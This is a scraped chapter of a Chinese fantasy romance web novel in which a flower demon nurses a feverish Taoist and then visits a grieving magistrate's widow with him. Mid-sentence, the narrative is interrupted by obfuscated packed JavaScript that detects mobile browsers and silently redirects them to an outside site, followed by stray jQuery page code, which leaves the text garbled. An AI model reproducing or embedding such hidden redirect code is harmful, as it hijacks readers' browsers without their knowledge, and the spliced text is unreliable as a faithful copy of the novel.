16. 途中(一)
作品:《道长,你好香啊》 思来想去,虞怜放弃这个不切实际的想法,一来她本身妖力就不多;二则是万一妖气和他体内的灵气相冲撞,他走火入魔失手误伤她怎么办。
她翻身下床洗漱好,坐在铜镜前像模像样梳着头发。她头发很长,又浓又密,但有些枯黄毛燥。
虞怜苦大仇深地和打结的地方拉扯,扯断了几绺发丝才梳顺,接着又飞快扎好辫子,用几朵橘粉色四瓣小花点缀着。
辫子扎得不算漂亮,但勉强能入眼。
之后,她重新趴在床边,手肘撑在床沿上单手托腮,打量着床榻上的病美人。
闲着的手不安分勾上他发丝,在指尖绕圈。
和她的头发不同,楼渊的头发柔顺光亮,虞怜很喜欢,思索着要不要等他醒来问问是如何保养的。
灼热的气息下,那股若隐若现的青果香更明显了,像是食物被蒸熟后由内而外散发。虞怜口中分泌唾液,微微俯身不由自主凑近他。
好在近段时日的亲密接触颇多,她可以一定程度抵制住香气的诱惑,控制自己的食欲。
只不满足地嗅着,宛如小兽寻到心爱之物般,用鼻尖蹭来蹭去。
楼渊眉头微蹙,闭着眼暂时没有醒来的迹象,略显苍白的薄唇轻轻阖动,低声呓语。
此刻,在虞怜眼里,床上的人俨然就是活着但香喷喷的大鸡腿,可惜不能吃的那种。哪还听得清他在说些什么。
他白玉面上浮着薄薄的红晕,额间还有些许细汗,精致脆弱得好似一碰就能碎掉的瓷器。
虞怜还是第一次见他如此虚弱的样子。
趁人之危的想法萌动。
病成这样,她要是现在对他做点什么的话,他估计也没有反抗的余地吧。
要不趁机吸两口血,然后就逃离苍梧郡?从此天高路远,想再抓住她就满了,他只能吃下哑巴亏。
尖牙蠢蠢欲动。
还未等她纠结好,楼渊咳嗽起来,虞怜吓了一跳,尖牙倏地收好。
“道长,你醒啦?”
“需不需要我去请个大夫给你看看?”
虞怜扬起大大的笑脸,贴心问。
“不必。”
嗓音慵懒惺忪,许是生病的缘故,还有几分暗哑。
楼渊手握拳抵在唇边,又咳了两声。
“真的?可你发烧了诶,都快熟透了。”虞怜挑眉,眼底满是怀疑,“生病不是小事,不能逞强和意气用事啊。”
万一烧糊涂了怎么办。
据她所知,没有靠山的漂亮痴傻美人境遇很危险的。
因此,她说话语气颇有几分苦口婆心。
“这点儿小病于我无碍。”
楼渊低垂眼帘,神情恹恹,长发随意散落,整个人莫名柔软下来。
生病的模样比平时顺眼很多嘛,虞怜暗戳戳想。不过不妨碍她对此话无语,呵呵两声道:“我怎么记得昨晚某人也说过类似的话。”
楼渊不理会她的阴阳怪气,起身去桌案前倒杯凉水喝下。
“你今天还去捉妖吗?”虞怜追过去问。
“不去。妖王已死,苍梧郡大多数妖已除,余下的成不了气候,有那群天师就够了。”
“那你今天干嘛,画符?”
在虞怜印象里,他不是在吃饭睡觉修行,就是捉妖画符。
“今天去郡守府和郡夫人辞行。”
“那离开苍梧郡之后去哪儿?”
虞怜不厌其烦追问。
楼渊想了会儿,道:“哪儿都可以,哪里有妖便去。”
“啊?所以就是换个地方除妖?”虞怜哀声道,“除了捉妖,你难道没有别的事做吗?你活着可真累。”
连带着她也跟着受累。
“还好。”
病中的楼渊脾气出奇的好,耐着性子慢吞吞回答虞怜接连不断的问题,“天师本就是奔走四方除掉各地作祟的妖物,谈不上累,早些年跟着师父也习惯了。”
“行吧行吧。”
虞怜无奈接受这个事实,已经预想到今后颠沛流离的生活。
她泄气趴在桌上,把脸压到变形,一脸生无可恋。
吃了两块枣糕,又喝下两杯茶,楼渊去换好道袍,开始束发。
虞怜百无聊赖打量着他,突然道:“话说道长,你为什么总穿那灰扑扑的衣服呢?虽然很几分仙风道骨的韵味,但真的有种暮气沉沉的压抑,你要是换身颜色鲜亮的衣裳,指不定多漂亮!”
“你看别的天师,尽管也是形制简单的道袍,但人家的道袍的颜色鲜活啊……”
楼渊握着木梳的手一顿,扯着嘴角:“你的那些衣服不也一样?”
虞怜奇怪看他,“我那是因为在乱葬岗死人堆里扒的衣服,没得选,你又不是。”
楼渊:“……”
**
虞怜无聊地敲着桌案,数着窗外雨滴落的声音。
楼渊今天和往常一样束着高马尾,额前几缕碎发垂散,好看又张扬。
不知是不是背着她偷吃药了,此时他脸上的泛红褪去不少,若不是周身气息仍旧发烫,倒真瞧不出生病的痕迹。
虞怜嘴角翘起。
“走吧走吧,现在时辰还早,去郡守府来得及。”
她上前便要挽住他胳膊。
楼渊退后一步避开,眸中含笑和她对视,话语却冰冷地和她划清距离:“小花妖,你越界了。”
“以往我是太纵着你了,希望你今后能注意分寸,否则我不介意亲自教你。”
虞怜眨眨眼,表情有一瞬间的凝滞。
他铁定是烧出毛病了!
“你昨晚还抱着我睡觉呢!你那时怎么不提劳什子分寸?”她不服气道。
“所以我们扯平了。”楼渊淡淡道。
虞怜:“……?”
似乎有哪里不对。
扯平是这么算的吗?
没等她想出个所以然,门外响起两声敲门声。
“楼道友,你在房间吗?”
萧晏缙嗓音清润。
楼渊拉开房门,“何事?”
虞怜溜过去凑热闹。
“那晚之事是我们冲动了,今日特地登门道歉。”萧晏缙略带歉意道。
见他没有让他进屋的想法,他有点尴尬,但想到前两次的不愉快,也能理解。
今日他去帮忙处理坍塌的房屋碎石时,看到废墟中央被移开一块空地,猜到楼渊已经从幻境中离开,就想着亲口去道个歉。
“道歉就不必了,我还没小心眼到那个程度,”楼渊笑道,“同为天师我能理解你们的选择,毕竟那种情况下我的嫌疑的确很大,换作是我也会毫不犹豫出手。”
萧晏缙失笑,“话虽如此,楼道友你能不计较,我却不可以当做什么都没发生,不道歉多少良心难安。”
他从袖口拿出一个铜制铃铛递出,“这是青水宗的魔音铃,虽力量不及九枢炼妖塔,但也强于大多数法器,还望楼道友收下。”
虞怜不知这魔音铃有何功效,但猜也能猜出绝非好的,就响了两下轻不可闻的叮当声,她就胸闷气短。
这些天师真讨厌!
楼渊不矫情,接过收入袖中,“那就多谢了。”
看出他的疏离,萧晏缙也不自讨没趣,正要告辞,余光瞟到他手中的油纸伞,伞身干燥没有水珠,不是从外边回来。
他顺口问一句,“楼道友是要出门?”
楼渊扫了眼伞,颔首,“嗯,去郡守府拜访郡夫人。”
“那正巧,我也还要回去一趟,不如一起?”萧晏缙道。
刚才一时心急走得匆忙,无论如何还是要再回一趟的。
楼渊没有拒绝。
……
苍梧郡地处江南一带,临江而立。
细雨丝丝,雾气朦胧,别有一番温柔沉默的意境,
虞怜撑着伞走在楼渊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633926|172387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旁边,气鼓鼓的。
小气鬼,说不准她抱胳膊还真不让她靠近。
小气鬼小气鬼!
不抱就不抱,她也不是很想抱他胳膊。
楼渊和萧晏缙并立走着,时不时搭几句话,多数时候是萧晏缙先开口,楼渊出于礼貌回应。
虞怜现在一点儿也不想和任何一个天师说话,她故意落后半步,每走一步脚下悄悄用力,踩着坑坑洼洼地面的小水坑,溅出脏水渍在楼渊衣摆上。
等到郡守府,楼渊的衣袍洇开一大片湿痕。
府中大门上高大的牌匾上挂着白绸,在雨中飘摇。
进去后更是随处可见素缟,来来往往的下人们亦是素衣,沉默寡言。
整个郡守府笼罩在无言的悲伤中,连绵的雨丝都是难言的哀悼。
萧晏缙有事要做,进府后就和楼渊两人分开。
昨夜太黑了,她还没注意到,郡守府怎么变成这样了?
虞怜对葬仪很陌生,过往的所有经历中找不出对应的场景,她只是疑惑,为什么要挂白缎,这些房屋都有灵魂般,看起来好难过。
纵使满肚子不解,她也未开口。这样氛围下,她都不由被感染,心情沉重得很,缄默不言。
走到一处地方,楼渊撑伞停在院中。
虞怜跟着停下,想问他为何不去不远处的廊下或者屋中避雨。
抬头环视一圈,这儿的白缎比其他地方都多,屋里的人个个身披麻衣,一会儿是悲恸的哭声,一会儿又是她听不懂的话语。
像敲锣打鼓声,但又不同,更轻更尖锐一些。
郡夫人出来,两个丫鬟跟在身边,一个撑伞,一个扶着她。
“夫人,节哀。”楼渊道。
虞怜望着她头上戴的尖尖帽子很奇怪,说是帽但也不是,后面延伸着长长的布条在身后。
正观察着,听到身旁很轻的声音。她赶紧重复一遍。
郡守夫人诧异看她眼,挤出抹勉强的笑,“这两天我想了很多,也接受这个事实了。其实夫君这几年的变化我不是没有察觉,只是心里到底不愿承认罢了。”
“如今给夫君下葬,让他入土为安,也算是彻彻底底了却身后事,不再做孤魂野鬼。”
她眼眶很红,看得出是哭了许久,此刻倒还平静。
虞怜不知如今府中事宜全压在她身上,忙前忙后处理夫君身后事,抚恤过世仆从的家人,还要安置一批想出府的丫鬟小厮……
只觉和之前相比憔悴不少。
“斯人已逝,夫人向前看,养好身子,一切都会好起来。”楼渊出言道。
郡守夫人摇头苦笑,“我十六岁嫁给夫君,陪他离开家乡来到苍梧郡赴任,仔细算算将近三十个年头,在这儿我一无亲人,二无子女,往后大概也是守着这个空宅子罢。”
“那在苍梧郡既无牵挂,何不回家乡?”虞怜忍不住插嘴问道。
郡守夫人看她,耐心解释道:“我本就上了年纪,再经过妖物一事,身子骨早就坏了,路途遥远颠簸,回家不是件易事。而且我双亲离世得早,唯一的妹妹也远嫁他乡,回去亦是孤身一人。”
“我夫君还在这儿,百年之后,我是想与他合葬的。”
她笑得柔柔,像开得很久、历经风霜璀璨的格桑花,顽强开着,花瓣却褪色变淡,随时都能凋落般。
虞怜点点头。
“不论如何,夫人珍重。”楼渊道,“苍梧郡兴风作乱的妖物已除,我就不多叨扰,今日便离开这儿。”
“道长何不多留两日,还没来得及尽地主之谊……我原是想等所有事尘埃落定后,办一场答谢宴感谢你们天师的。”郡守夫人说道。
“我就不留了。”楼渊推拒,“现在世道不太平,兴许早日到另一处地方能挽救更多人性命。”
话说到这份儿上,郡守夫人不好再挽留,几次欲言又止,斟酌着道:“……楼道长,我有一不情之请。”